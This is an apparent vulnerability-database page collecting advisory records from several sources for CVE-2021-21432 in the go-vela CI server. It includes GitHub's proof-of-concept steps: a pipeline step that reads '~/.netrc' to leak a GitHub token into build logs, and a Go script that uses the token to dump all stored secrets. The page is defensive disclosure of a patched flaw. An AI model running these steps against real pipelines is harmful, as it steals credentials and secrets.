  "details": "### Impact\n_What kind of vulnerability is it? Who is impacted?_\n\nThe additional auth mechanism added within https://github.com/go-vela/server/pull/246 enables some malicious user to obtain secrets utilizing the injected credentials within the `~/.netrc` file. Steps to reproduce\n\n1. Create Vela server\n2. Login to Vela UI\n3. Promote yourself to Vela administrator \n    - `UPDATE users SET admin = \u0027t\u0027 WHERE name = \u003cusername\u003e`\n4. Activate repository within Vela\n5. Add `.vela.yml` to the repository with the following content\n\n    \n    ```yaml\n    version: \"1\"\n    \n    steps:\n    - name: steal\n      image: alpine\n      commands:\n        - cat ~/.netrc\n    ```\n\n1. Look at build logs to find the following content\n\n    ```\n    $ cat ~/.netrc\n    machine \u003cGITHUB URL\u003e\n    login x-oauth-basic\n    password \u003ctoken\u003e\n    ```\n\n1. Copy the password to be utilized in some later step\n1. Add secret(s) to activated repo\n1. Copy the following script into `main.go`\n\n    ```golang\n    package main\n    \n    import (\n\t    \"fmt\"\n\t    \"github.com/go-vela/sdk-go/vela\"\n\t    \"os\"\n    )\n    \n    func main() {\n\t    // create client to connect to vela\n\t    client, err := vela.NewClient(os.Getenv(\"VELA_SERVER_ADDR\"), \"vela\", nil)\n\t    if err != nil {\n\t\t    panic(err)\n\t    }\n    \n\t    // add PAT to request\n\t    client.Authentication.SetPersonalAccessTokenAuth(os.Getenv(\"VELA_TOKEN\"))\n    \n    \n\t    secrets, _, err := client.Admin.Secret.GetAll(\u0026vela.ListOptions{})\n\t    if err != nil {\n\t\t    panic(err)\n\t    }\n    \n\t    for _, secret := range *secrets {\n\t\t    fmt.Println(*secret.Name)\n\t\t    fmt.Println(*secret.Value)\n\t    }\n    }\n    ```\n\n1. Run the `main.go` with environment specific settings\n   - `VELA_SERVER_ADDR=http://localhost:8080 VELA_TOKEN=\u003ctoken obtained previously\u003e go run main.go`\n\nThe previously posted script could be updated to utilize any API endpoint(s) the activated user has access against.\n\n### Patches\n_Has the problem been patched? What versions should users upgrade to?_\n\n* Upgrade to `v0.7.5` or later\n\n### Workarounds\n_Is there a way for users to fix or remediate the vulnerability without upgrading?_\n\n* No known workarounds\n\n### References\n_Are there any links users can visit to find out more?_\n\n* https://github.com/go-vela/server/pull/246\n* https://docs.github.com/en/enterprise-server@3.0/rest/reference/apps#check-a-token\n\n### For more information\nIf you have any questions or comments about this advisory\n\n* Email us at [vela@target.com](mailto:vela@target.com)",
  "id": "GHSA-8j3f-mhq8-gmh4",
  "modified": "2022-08-15T20:02:53Z",
  "published": "2022-02-15T01:57:18Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/go-vela/server/security/advisories/GHSA-8j3f-mhq8-gmh4"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-21432"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-vela/server/pull/337"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-vela/server/commit/cb4352918b8ecace9fe969b90404d337b0744d46"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/go-vela/server"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-vela/server/releases/tag/v0.7.5"
    },
    {
      "type": "WEB",
      "url": "https://pkg.go.dev/github.com/go-vela/server"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Reject unauthorized access with GitHub PATs"
}

GSD-2021-21432

Vulnerability from gsd - Updated: 2023-12-13 01:23

Details

Aliases

CVE-2021-21432

Aliases

CVE-2021-21432

JSON

To clipboard

{
  "GSD": {
    "alias": "CVE-2021-21432",
    "description": "Vela is a Pipeline Automation (CI/CD) framework built on Linux container technology written in Golang. An authentication mechanism added in version 0.7.0 enables some malicious user to obtain secrets utilizing the injected credentials within the `~/.netrc` file. Refer to the referenced GitHub Security Advisory for complete details. This is fixed in version 0.7.5.",
    "id": "GSD-2021-21432"
  },
  "gsd": {
    "metadata": {
      "exploitCode": "unknown",
      "remediation": "unknown",
      "reportConfidence": "confirmed",
      "type": "vulnerability"
    },
    "osvSchema": {
      "aliases": [
        "CVE-2021-21432"
      ],
      "details": "Vela is a Pipeline Automation (CI/CD) framework built on Linux container technology written in Golang. An authentication mechanism added in version 0.7.0 enables some malicious user to obtain secrets utilizing the injected credentials within the `~/.netrc` file. Refer to the referenced GitHub Security Advisory for complete details. This is fixed in version 0.7.5.",
      "id": "GSD-2021-21432",
      "modified": "2023-12-13T01:23:11.100264Z",
      "schema_version": "1.4.0"
    }
  },
  "namespaces": {
    "cve.org": {
      "CVE_data_meta": {
        "ASSIGNER": "security-advisories@github.com",
        "ID": "CVE-2021-21432",
        "STATE": "PUBLIC",
        "TITLE": "Reject unauthorized access with GitHub PATs"
      },
      "affects": {
        "vendor": {
          "vendor_data": [
            {
              "product": {
                "product_data": [
                  {
                    "product_name": "server",
                    "version": {
                      "version_data": [
                        {
                          "version_value": "\u003e= 0.7.0, \u003c 0.7.5"
                        }
                      ]
                    }
                  }
                ]
              },
              "vendor_name": "go-vela"
            }
          ]
        }
      },
      "data_format": "MITRE",
      "data_type": "CVE",
      "data_version": "4.0",
      "description": {
        "description_data": [
          {
            "lang": "eng",
            "value": "Vela is a Pipeline Automation (CI/CD) framework built on Linux container technology written in Golang. An authentication mechanism added in version 0.7.0 enables some malicious user to obtain secrets utilizing the injected credentials within the `~/.netrc` file. Refer to the referenced GitHub Security Advisory for complete details. This is fixed in version 0.7.5."
          }
        ]
      },
      "impact": {
        "cvss": {
          "attackComplexity": "HIGH",
          "attackVector": "ADJACENT_NETWORK",
          "availabilityImpact": "LOW",
          "baseScore": 7.5,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "LOW",
          "scope": "CHANGED",
          "userInteraction": "REQUIRED",
          "vectorString": "CVSS:3.1/AV:A/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:L",
          "version": "3.1"
        }
      },
      "problemtype": {
        "problemtype_data": [
          {
            "description": [
              {
                "lang": "eng",
                "value": "CWE-285 Improper Authorization"
              }
            ]
          }
        ]
      },
      "references": {
        "reference_data": [
          {
            "name": "https://github.com/go-vela/server/security/advisories/GHSA-8j3f-mhq8-gmh4",
            "refsource": "CONFIRM",
            "url": "https://github.com/go-vela/server/security/advisories/GHSA-8j3f-mhq8-gmh4"
          },
          {
            "name": "https://pkg.go.dev/github.com/go-vela/server",
            "refsource": "MISC",
            "url": "https://pkg.go.dev/github.com/go-vela/server"
          },
          {
            "name": "https://github.com/go-vela/server/releases/tag/v0.7.5",
            "refsource": "MISC",
            "url": "https://github.com/go-vela/server/releases/tag/v0.7.5"
          },
          {
            "name": "https://github.com/go-vela/server/pull/337",
            "refsource": "MISC",
            "url": "https://github.com/go-vela/server/pull/337"
          },
          {
            "name": "https://github.com/go-vela/server/commit/cb4352918b8ecace9fe969b90404d337b0744d46",
            "refsource": "MISC",
            "url": "https://github.com/go-vela/server/commit/cb4352918b8ecace9fe969b90404d337b0744d46"
          }
        ]
      },
      "source": {
        "advisory": "GHSA-8j3f-mhq8-gmh4",
        "discovery": "UNKNOWN"
      }
    },
    "gitlab.com": {
      "advisories": [
        {
          "affected_range": "\u003e=v0.7.0 \u003cv0.7.5",
          "affected_versions": "All versions starting from 0.7.0 before 0.7.5",
          "cvss_v2": "AV:N/AC:M/Au:S/C:P/I:N/A:N",
          "cvss_v3": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
          "cwe_ids": [
            "CWE-1035",
            "CWE-863",
            "CWE-937"
          ],
          "date": "2022-04-12",
          "description": "Vela is a Pipeline Automation (CI/CD) framework built on Linux container technology written in Golang. An authentication mechanism added in version 0.7.0 enables some malicious user to obtain secrets utilizing the injected credentials within the `~/.netrc` file. Refer to the referenced GitHub Security Advisory for complete details. This is fixed in version 0.7.5.",
          "fixed_versions": [
            "v0.7.5"
          ],
          "identifier": "CVE-2021-21432",
          "identifiers": [
            "GHSA-8j3f-mhq8-gmh4",
            "CVE-2021-21432"
          ],
          "not_impacted": "All versions before 0.7.0, all versions starting from 0.7.5",
          "package_slug": "go/github.com/go-vela/server",
          "pubdate": "2022-02-15",
          "solution": "Upgrade to version 0.7.5 or above.",
          "title": "Incorrect Authorization",
          "urls": [
            "https://github.com/go-vela/server/security/advisories/GHSA-8j3f-mhq8-gmh4",
            "https://nvd.nist.gov/vuln/detail/CVE-2021-21432",
            "https://github.com/go-vela/server/pull/337",
            "https://github.com/go-vela/server/commit/cb4352918b8ecace9fe969b90404d337b0744d46",
            "https://github.com/go-vela/server/releases/tag/v0.7.5",
            "https://pkg.go.dev/github.com/go-vela/server",
            "https://github.com/advisories/GHSA-8j3f-mhq8-gmh4"
          ],
          "uuid": "0318a949-7ab2-4cf9-9411-c135014639ac",
          "versions": [
            {
              "commit": {
                "sha": "65bafd79fb917716323f73873c7521063da467a1",
                "tags": [
                  "v0.7.0"
                ],
                "timestamp": "20210202204836"
              },
              "number": "v0.7.0"
            },
            {
              "commit": {
                "sha": "cb4352918b8ecace9fe969b90404d337b0744d46",
                "tags": [
                  "v0.7.5"
                ],
                "timestamp": "20210408190101"
              },
              "number": "v0.7.5"
            }
          ]
        },
        {
          "affected_range": "\u003e=v0.7.0 \u003cv0.7.5",
          "affected_versions": "All versions starting from 0.7.0 before 0.7.5",
          "cvss_v2": "AV:N/AC:M/Au:S/C:P/I:N/A:N",
          "cvss_v3": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
          "cwe_ids": [
            "CWE-1035",
            "CWE-863",
            "CWE-937"
          ],
          "date": "2022-04-12",
          "description": "Vela is a Pipeline Automation (CI/CD) framework built on Linux container technology written in Golang. An authentication mechanism added in version 0.7.0 enables some malicious user to obtain secrets utilizing the injected credentials within the `~/.netrc` file. Refer to the referenced GitHub Security Advisory for complete details. This is fixed in version 0.7.5.",
          "fixed_versions": [
            "v0.7.5"
          ],
          "identifier": "CVE-2021-21432",
          "identifiers": [
            "GHSA-8j3f-mhq8-gmh4",
            "CVE-2021-21432"
          ],
          "not_impacted": "All versions before 0.7.0, all versions starting from 0.7.5",
          "package_slug": "go/github.com/go-vela/server/api",
          "pubdate": "2022-02-15",
          "solution": "Upgrade to version 0.7.5 or above.",
          "title": "Incorrect Authorization",
          "urls": [
            "https://github.com/go-vela/server/security/advisories/GHSA-8j3f-mhq8-gmh4",
            "https://nvd.nist.gov/vuln/detail/CVE-2021-21432",
            "https://github.com/go-vela/server/pull/337",
            "https://github.com/go-vela/server/commit/cb4352918b8ecace9fe969b90404d337b0744d46",
            "https://github.com/go-vela/server/releases/tag/v0.7.5",
            "https://pkg.go.dev/github.com/go-vela/server",
            "https://github.com/advisories/GHSA-8j3f-mhq8-gmh4"
          ],
          "uuid": "2e0ee551-ad27-4159-8392-40c4c1b02ba1",
          "versions": [
            {
              "commit": {
                "sha": "65bafd79fb917716323f73873c7521063da467a1",
                "tags": [
                  "v0.7.0"
                ],
                "timestamp": "20210202204836"
              },
              "number": "v0.7.0"
            },
            {
              "commit": {
                "sha": "cb4352918b8ecace9fe969b90404d337b0744d46",
                "tags": [
                  "v0.7.5"
                ],
                "timestamp": "20210408190101"
              },
              "number": "v0.7.5"
            }
          ]
        }
      ]
    },
    "nvd.nist.gov": {
      "configurations": {
        "CVE_data_version": "4.0",
        "nodes": [
          {
            "children": [],
            "cpe_match": [
              {
                "cpe23Uri": "cpe:2.3:a:go-vela:vela:*:*:*:*:*:*:*:*",
                "cpe_name": [],
                "versionEndExcluding": "0.7.5",
                "vulnerable": true
              }
            ],
            "operator": "OR"
          }
        ]
      },
      "cve": {
        "CVE_data_meta": {
          "ASSIGNER": "security-advisories@github.com",
          "ID": "CVE-2021-21432"
        },
        "data_format": "MITRE",
        "data_type": "CVE",
        "data_version": "4.0",
        "description": {
          "description_data": [
            {
              "lang": "en",
              "value": "Vela is a Pipeline Automation (CI/CD) framework built on Linux container technology written in Golang. An authentication mechanism added in version 0.7.0 enables some malicious user to obtain secrets utilizing the injected credentials within the `~/.netrc` file. Refer to the referenced GitHub Security Advisory for complete details. This is fixed in version 0.7.5."
            }
          ]
        },
        "problemtype": {
          "problemtype_data": [
            {
              "description": [
                {
                  "lang": "en",
                  "value": "CWE-862"
                }
              ]
            }
          ]
        },
        "references": {
          "reference_data": [
            {
              "name": "https://pkg.go.dev/github.com/go-vela/server",
              "refsource": "MISC",
              "tags": [
                "Release Notes",
                "Third Party Advisory"
              ],
              "url": "https://pkg.go.dev/github.com/go-vela/server"
            },
            {
              "name": "https://github.com/go-vela/server/commit/cb4352918b8ecace9fe969b90404d337b0744d46",
              "refsource": "MISC",
              "tags": [
                "Patch",
                "Third Party Advisory"
              ],
              "url": "https://github.com/go-vela/server/commit/cb4352918b8ecace9fe969b90404d337b0744d46"
            },
            {
              "name": "https://github.com/go-vela/server/releases/tag/v0.7.5",
              "refsource": "MISC",
              "tags": [
                "Release Notes",
                "Third Party Advisory"
              ],
              "url": "https://github.com/go-vela/server/releases/tag/v0.7.5"
            },
            {
              "name": "https://github.com/go-vela/server/pull/337",
              "refsource": "MISC",
              "tags": [
                "Patch",
                "Third Party Advisory"
              ],
              "url": "https://github.com/go-vela/server/pull/337"
            },
            {
              "name": "https://github.com/go-vela/server/security/advisories/GHSA-8j3f-mhq8-gmh4",
              "refsource": "CONFIRM",
              "tags": [
                "Third Party Advisory"
              ],
              "url": "https://github.com/go-vela/server/security/advisories/GHSA-8j3f-mhq8-gmh4"
            }
          ]
        }
      },
      "impact": {
        "baseMetricV2": {
          "acInsufInfo": false,
          "cvssV2": {
            "accessComplexity": "MEDIUM",
            "accessVector": "NETWORK",
            "authentication": "SINGLE",
            "availabilityImpact": "NONE",
            "baseScore": 3.5,
            "confidentialityImpact": "PARTIAL",
            "integrityImpact": "NONE",
            "vectorString": "AV:N/AC:M/Au:S/C:P/I:N/A:N",
            "version": "2.0"
          },
          "exploitabilityScore": 6.8,
          "impactScore": 2.9,
          "obtainAllPrivilege": false,
          "obtainOtherPrivilege": false,
          "obtainUserPrivilege": false,
          "severity": "LOW",
          "userInteractionRequired": true
        },
        "baseMetricV3": {
          "cvssV3": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 6.5,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "NONE",
            "privilegesRequired": "LOW",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
            "version": "3.1"
          },
          "exploitabilityScore": 2.8,
          "impactScore": 3.6
        }
      },
      "lastModifiedDate": "2022-08-12T18:02Z",
      "publishedDate": "2021-04-09T18:15Z"
    }
  }
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

CVE-2021-21432 (GCVE-0-2021-21432)

FKIE_CVE-2021-21432

GHSA-8J3F-MHQ8-GMH4

Impact

Patches

Workarounds

References

For more information

GSD-2021-21432

Tags

Sightings

Nomenclature

Related by attack behaviour